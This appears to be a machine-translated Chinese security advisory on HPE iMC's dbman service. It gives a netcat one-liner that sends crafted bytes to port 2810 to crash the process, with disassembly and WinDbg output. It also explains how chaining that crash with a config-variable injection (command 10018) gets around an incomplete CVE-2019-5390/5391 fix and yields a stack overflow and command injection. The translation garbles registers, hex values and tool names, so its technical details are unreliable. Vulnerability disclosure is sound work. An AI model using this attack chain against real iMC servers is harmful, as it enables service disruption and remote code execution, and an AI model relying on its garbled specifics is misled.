未经身份验证的远程拒绝服务(DoS)
缺陷存在于CDataConnStreamQueueT:: dbman deal_msg方法。exe c++新运营商与分配用于分配内存大小由攻击者指定:
字。text: 0045 ad95 mov eax, ptr [ebp + var_first4bytes];attacker-controlled。text: 0045 ad98添加eax, 1。text: 0045 ad9b eax推;unsigned int。text: 0045 ad9c电话吗? ?_U@YAPAXI@Z;运营商新的[](单位)
攻击者可以指定一个大(即分配大小。,0 dbman xfffffff0)通过发送以下数据:
echo - ne ' \ xff \ xff \ xff \ x00 |数控
2810年
这可能会导致一个异常抛出的新的操作符:
0:005 > g (1 b0c.1ab4): c++呃例外——代码e06d7363(第一次)(1 b0c.1ab4): c++呃异常代码e06d7363 (! ! !第二次机会!)eax = 0257 d7c8 ebx = 00000021连成一片= 00000021 edx = 00000000 esi = 7448 c164 edi = 00000000 eip = 7629 c1a2 esp = 0257 d7c8 ebp = 0257 d824 iopl = 0 nv了ei pl新西兰ac阿宝数控c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00000212 KERNELBASE !RaiseException + 0 x62: 7629 c1a2 8 b4c2454 mov连成一片,dword ptr [esp + 54 h] ss: 002 b: 0257 d81c = 339 b14f7 0:001 > kb # ChildEBP RetAddr Args儿童00 0257 d824 7444 df60 e06d7363 00000001 00000003 KERNELBASE !RaiseException + 0 x62 01 0257 d85c 74453使用efd 0257 d86c 7447 d604 743 f2a10 MSVCR90 !_CxxThrowException + 0 x48 [f: \ dd \ vctools \ crt_bld crt \ prebuild \嗯\ \ self_x86 \。cpp @ 161] 0045 02 0257 d878 ada1 ffffff01 45 e63853 00000000 MSVCR90 !运营商新+ 0 x64 [f: \ dd \ vctools crt \ src \ crt_bld \ self_x86 \ \新。cpp @ 63]警告:堆栈解除信息不可用。后帧可能是错误的。03 0257 fd38 00461415 02320628 00461415 004 c7144 dbman + 0 x5ada1 04 0257 fd4c 70 e7c3c9 00000218 00000054 00000218 dbman x61415 + 0
和dbman过程没有出现处理异常,导致过程终止。
不完整的修复cve - 2019 - 5390和cve - 2019 - 5391
这些漏洞的根本原因并不在7.3 E0703解决。
在开发场景中,攻击者会首先发送一个命令10018 (dbman。conf变量注入)命令10000 (dbman紧随其后。conf重载)。这将是足以引发堆栈溢出。然而,命令注入额外的命令10002必须送到触发一个备份。
HPE iMC E0703 7.3版引入变更执行命令10000年和10002年被加密,同时允许加密命令10018。攻击者仍然可以发送一个命令10018 dbman注入配置变量。相依,但他/她不能发送命令10000或10002没有加密密钥。
然而,攻击者可以使用上面描述的DoS脆弱性杀死dbman过程,强制重启。已经观察到在imcsysdm重启是自动发生的。exe如果智能部署监控代理已经开始(可能生产配置)。当修改dbman dbman重启。包含长BackHoseIp变量相依,堆栈缓冲区溢出发生。此外,BackupTime和BackupTimeMinute变量值可以设置在10018请求安排一个自动备份。这是足以引发命令注入。
WinDbg输出:
STATUS_STACK_BUFFER_OVERRUN遇到(990.123 c):打破指令异常,代码80000003(第一次)* * *错误:文件无法找到象征。违约为dbman导出符号。exe - eax = 00000000 ebx = 00000000连成一片= 00000000 edx = 0000002 b esi = 00000000 edi = 00000000 eip = 7631 d74a esp = 0019 a32c ebp = 0019 a3b4 iopl = 0 nv了ei pl zr na pe数控c = 0023 ss = 002 b d = 002 b es = 002 fs = 0053 gs = 002 b英语= 00000246 KERNELBASE !UnhandledExceptionFilter + 0 x5a: 7631 d74a cc int 3 0:000 > kb # ChildEBP RetAddr Args儿童00 0019 a3b4 004 a9859 004 cb258 721993 ca 8 de66c35 KERNELBASE !UnhandledExceptionFilter + 0 x5a警告:堆栈解除信息不可用。后帧可能是错误的。0044年01 0019 a6e8 dabb 0019 a97c 0019 a97c 0019 a998 dbman !std:: _Init_locks::操作符= + 0 xcd1 b068 02 0019 41414141 41414141 41414141 41414141 dbman + 0 x4dabb 03 0019 b06c 41414141 41414141 41414141 41414141 0 x41414141 04 0019 b070 41414141 41414141 41414141 41414141 0 x41414141…和!可采WinDbg扩展命令显示了可采:0:000 > .load毫秒。dll 0:000 >,可利用的!可采1.6.0.0可利用性分类:利用推荐错误标题:可采-异常处理程序链损坏KERNELBASE开始!UnhandledExceptionFilter + 0 x000000000000005a(散列= 0 xdaf335ab.0xf6a1be01)异常处理程序链的腐败被认为是可利用的